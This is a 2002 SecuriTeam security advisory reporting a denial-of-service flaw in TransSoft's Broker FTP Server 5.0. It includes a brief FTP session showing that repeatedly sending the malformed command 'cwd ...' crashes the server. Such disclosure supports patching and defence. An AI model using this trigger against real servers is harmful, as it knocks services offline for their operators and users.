[NT] TransSoft's Broker FTP Server DoS (CWD)

From: support@securiteam.com
Date: 05/28/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Tue, 28 May 2002 08:21:26 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  TransSoft's Broker FTP Server DoS (CWD)
------------------------------------------------------------------------

SUMMARY

 <http://www.transsoft.com/> TransSoft's Broker FTP Server has been found
to contain a vulnerability that enables an attacker to launch a denial of
service attack against it by issuing multiple malformed "change directory"
commands.

DETAILS

Vulnerable systems:
 * Broker FTP Server version 5.0 (Evaluation)

Example:
$ ftp example.com
Connected to example.com.
220 TransSoft's Broker FTP Server. (Version 5.0).
User (example.com(none)): test
331 OK need password.
Password:
230 Welcome to TransSoft's Broker FTP Server 5.0
ftp> cwd ...
(Sending this command a multiple number of times will cause the server to
crash)

ADDITIONAL INFORMATION

The information has been provided by <mailto:snakebyte@gmx.de> SnakeByte
/ Eric Sesterhenn.

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